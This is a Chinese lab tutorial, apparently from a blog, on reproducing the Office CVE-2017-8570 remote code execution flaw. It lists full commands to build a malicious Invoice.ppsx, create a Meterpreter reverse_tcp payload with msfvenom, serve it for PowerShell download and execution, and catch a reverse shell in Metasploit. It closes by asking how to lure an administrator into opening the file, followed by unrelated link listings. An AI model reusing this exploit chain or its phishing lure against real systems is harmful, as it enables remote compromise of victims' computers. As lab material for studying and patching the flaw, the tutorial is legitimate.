Office CVE-2017-8570远程代码执行漏洞复现
实验环境
- 操作机:
Kali Linux
IP:172.16.11.2
- 目标机:
windows7 x64
IP:172.16.12.2
实验目的
- 掌握漏洞的利用方法
实验工具
Metaspliot
:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作。
实验内容
Office CVE-2017-8570
CVE-2017-8570
漏洞为一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此我们称之为“沙虫”二代漏洞:Office全家桶
漏洞介绍
OfficeCVE-2017-8570
2017年7月,微软在例行的阅读补丁中修复了多个Microsoft Office
漏洞,其中的CVE-2017-8570
漏洞为一个逻辑漏洞,利用方法简单。网上公布了利用代码影响范围广泛。该漏洞为Microsoft Office
的一个远程代码执行漏洞。
其成因是Microsof PowerPoint
执行时会初始化“script”Moniker
对象,而在PowerPoint
播放动画期间会激活该对象,从而执行sct
脚本(Windows script Component)
文件。攻击这可以欺骗用户运行含有该漏洞的PPT文件导致获取和当前登录用户相同的执行权限。
影响版本
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2 (32-bit editions)
- Microsoft Office 2010 Service Pack 2 (64-bit editions)
- Microsoft Office 2013 RT Service Pack 1
- Microsoft Office 2013 Service Pack 1 (32-bit editions)
- Microsoft Office 2013 Service Pack 1 (64-bit editions)
- Microsoft Office 2016 (32-bit edition)
- Microsoft Office 2016 (64-bit edition)
实验步骤
步骤1:生成恶意的PPSX文件
我们首先使用Xshell
连接Kali机器,点击桌面Xshell
图标,输入IP:172.16.12.2
,账号为:root
密码:123456
,如图:
首先我们在Kali中执行如下命令:
cd CVE-2017-8570 //进入exploit的目录
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://172.16.12.2/logo.doc //生成ppsx恶意文件
使用ls命令,可以看到已经成功生成了ppsx格式文件。
接下来我们生成恶意PPSX
文件通过调用Powershell下载并执行的反弹木马。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.2 LPORT=4444 -f exe > /tmp/shell.exe
其中 -p
参数是 payload的意思,使用的windows的meterpreter的反弹木马-f
参数 指定输出文件后缀为exe文件再用>
重定向输出到tmp目录下
接下来输入如下命令:
python cve-2017-8570_toolkit.py -M exp -e http://172.16.12.2/shell.exe -l /tmp/shell.exe
这段命令是通过脚本在80端口监听,等待接收ppsx请求并下载执行我们的反弹木马
接下来进入Metasploit,新建一个Kali`172.16.12.2的连接,设置相关参数,接受返回的Shell
msfconsole
use multi/handler //使用监听模块
set payload windows/meterpreter/reverse_tcp //设置Payload
set LHOST 172.16.12.2 //设置本地接收IP
run
可以看到我们的Metaspliot
已经在本地开启监听
到此我们的所有准备都做好,下一步我们模拟用户点击恶意文件
步骤2:目标机器执行恶意PPSX文件
我们使用桌面Xftp
软件,连接上目标机172.16.12.2
,将Invoice.ppsx文件拖到当前桌面上。
如图,他是一个PPT文件,我们模拟用户双击打开它。
执行过程中可以看到代码通过调用powershell
在远程下载执行我们的恶意木马,此时已经反弹回了shell
使用命令:
getuid //获取当前用户ID
这样就获取了目标机器的权限,可以通过Metasploit去执行命令。
实验结果分析与总结
Office一直是主流的办公软件,CVE-2017-8570
这个漏洞影响office所有发行版本,当用户不经意点击了我们的恶意PPSX文件,那么我们就可以直接获取到他的用户权限,可以看到危害性十分高。
修复方案:
补丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570
思考
- 请思考,我们可以用什么方式诱发管理员触发这个漏洞?
Office CVE-2017-8570远程代码执行漏洞复现的更多相关文章
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- CVE-2017-8464 LNK文件(快捷方式)远程代码执行漏洞复现
北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543) ...
- Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...
- ECShop全系列版本远程代码执行漏洞复现
前言 问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行 漏洞分析 0x01-SQL注入 先看user.php $back_act变量来源于HTTP_R ...
- vBulletin 5.x 版本通杀远程代码执行漏洞复现
漏洞介绍 vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码.未经验证的恶意访问者可通过向index.php发出包含 rout ...
随机推荐
- linux 将一个文件分解成多个不同名文件
1.通过c直接实现 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include & ...
- mastering elasticsearch
概念: Term: 它是搜索的基本单位,其表现形式为文本中的一个词. Token: 它是单个Term在所属Field中文本的呈现形式,包含了Term内容.Term类型.Term在文本中的起始及偏移位置 ...
- HDU - 5785:Interesting (回文树,求相邻双回文的乘积)
Alice get a string S. She thinks palindrome string is interesting. Now she wanna know how many three ...
- kmp--看毛片算法
string str; int next[N];// 核♥: next[k] 字符串前(k-1)个元素有next[k]个相等前后缀 // 初始化 next[0]=-1; next[1]=0; void ...
- MySQL主从、环境搭建、主从配制
1. MySQL主从介绍 2.环境搭建 2.主从配制:修改主配制文件:vim /etc/my.cnf添加: server_id = ###log_bin = diy_name然后保存重启:/ ...
- 2017.7.11 fuse工作原理
FUSE的工作原理如图所示.假设基于FUSE的用户态文件系统hello挂载在/tmp/fuse目录下.当应用层程序要访问/tmp/fuse下的文件时,通过glibc中的函数进行系统调用,处理这些系统调 ...
- Python数据结构与算法(排序)
https://www.cnblogs.com/fwl8888/p/9315730.html
- [zoj4045][思维+dfs]
http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=4045 题意:给一棵树.这棵树有n个节点,问你这个图能不能分成k个分块.这个 ...
- 把目录C:\Python34\PCI_Code\chapter2\加到系统路径中
>>> import sys >>> sys.path.append("C:\Python34\PCI_Code\chapter2")
- 【添加最新版本的mysql的jdbc连接jar包】java.math.BigInteger cannot be cast to java.lang.Long异常
[问题描述] 从我的电脑把项目拷贝到guo小中的win8电脑,but出现了那个错误,估计他的mysql是最新版本的. [如何下载连接jar包] 链接:https://pan.baidu.com/s/1 ...